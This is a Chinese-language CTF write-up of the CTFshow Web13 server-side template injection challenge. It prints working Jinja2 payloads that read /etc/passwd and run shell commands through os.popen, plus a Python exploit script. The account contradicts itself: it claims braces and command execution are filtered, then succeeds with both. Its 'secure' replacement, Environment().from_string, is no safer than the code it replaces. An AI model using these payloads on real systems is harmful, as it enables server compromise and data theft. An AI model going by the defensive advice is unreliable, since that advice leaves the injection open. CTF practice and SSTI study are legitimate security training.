1. CTFshow Web13题目背景与核心挑战
Web13是CTFshow平台上一道典型的Web安全挑战题,主要考察选手对服务器端模板注入(SSTI)漏洞的识别与利用能力。这道题目的典型特征是前端页面看似简单,但通过精心构造的输入可以触发服务器模板引擎的解析执行。
从实战经验来看,这类题目通常会设置以下障碍:
- 过滤了常见的危险字符(如$、{、}等)
- 限制了可用的函数调用
- 需要绕过沙箱环境限制
- 关键函数被重命名或禁用
我在实际解题过程中发现,Web13特别设置了命令执行的黑名单过滤,但留下了文件读取的突破口,这是解题的关键转折点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与漏洞探测
2.1 基础环境分析
首先通过浏览器开发者工具检查页面元素,发现页面包含一个简单的表单提交接口。使用Burp Suite拦截请求后观察到:
http复制POST /submit HTTP/1.1
Host: challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
input=test123
响应中包含了经过处理的输入内容,这提示可能存在输入渲染过程。测试常见注入符号时发现:
{{7*7}}返回了49 → 确认存在模板注入{phpinfo()}被拦截 → 存在过滤机制{system('ls')}返回403 → 命令执行被禁止
2.2 模板引擎类型识别
通过注入特殊语法判断模板引擎类型:
python复制# Flask/Jinja2测试
{{ ''.__class__ }} → 返回<class 'str'>
{{ config.items() }} → 返回配置信息
# 确认是Jinja2引擎
关键发现:虽然直接命令执行被拦截,但__class__等魔术方法未被过滤,这为后续利用提供了可能。
3. 绕过过滤的完整利用链构建
3.1 文件系统访问突破
利用Python对象继承链实现文件读取:
python复制{{ ''.__class__.__mro__[1].__subclasses__()[189].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}
这个payload的工作逻辑:
- 从空字符串获取str类
- 通过MRO找到object基类
- 枚举所有子类找到file类(索引189)
- 访问内置函数打开目标文件
实际测试中发现不同环境子类索引可能变化,需要暴力测试确定正确索引值
3.2 敏感文件定位技巧
通过以下路径寻找flag:
- /proc/self/cwd/flag.txt
- /home/ctf/flag
- /var/www/html/flag.php
- 读取环境变量:
{{ config }}
最终在/app/flag.txt找到目标文件:
python复制{{ cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read() }}
4. 自动化利用脚本开发
针对这类题目,可以编写Python自动化脚本:
python复制import requests
import re
TARGET = "http://challenge.ctf.show/submit"
def exploit():
payload = "{{''.__class__.__mro__[1].__subclasses__()[189].__init__.__globals__['__builtins__']['open']('/app/flag.txt').read()}}"
r = requests.post(TARGET, data={"input": payload})
flag = re.search(r"ctfshow{.*?}", r.text)
if flag:
print(f"[+] Flag found: {flag.group(0)}")
else:
print("[-] Exploit failed")
if __name__ == "__main__":
exploit()
脚本优化点:
- 添加子类索引自动探测
- 实现多路径自动尝试
- 错误处理和超时机制
5. 防御方案与学习要点
5.1 安全开发建议
对于开发者而言,避免SSTI需要:
python复制# 不安全做法
from jinja2 import Template
template = Template(user_input)
# 安全做法
from jinja2 import Environment
env = Environment()
template = env.from_string(sanitized_input)
关键防御措施:
- 严格限制模板引擎的可用方法
- 实现输入内容白名单过滤
- 使用沙箱环境运行模板渲染
5.2 技能提升方向
通过这道题目可以深入掌握:
- Python对象原型链操作
- Jinja2模板引擎工作原理
- 黑名单绕过技术
- 无字母数字的代码执行技术
建议后续学习资源:
- HackTricks SSTI章节
- PayloadsAllTheThings模板注入合集
- Flask/Jinja2官方安全文档
我在实际CTF比赛中发现,这类题目往往会在过滤规则中留下细微的突破口,关键在于保持耐心尝试所有可能的利用链。Web13的解题过程特别考验对Python对象模型的深入理解,这也是它成为经典题目的原因。
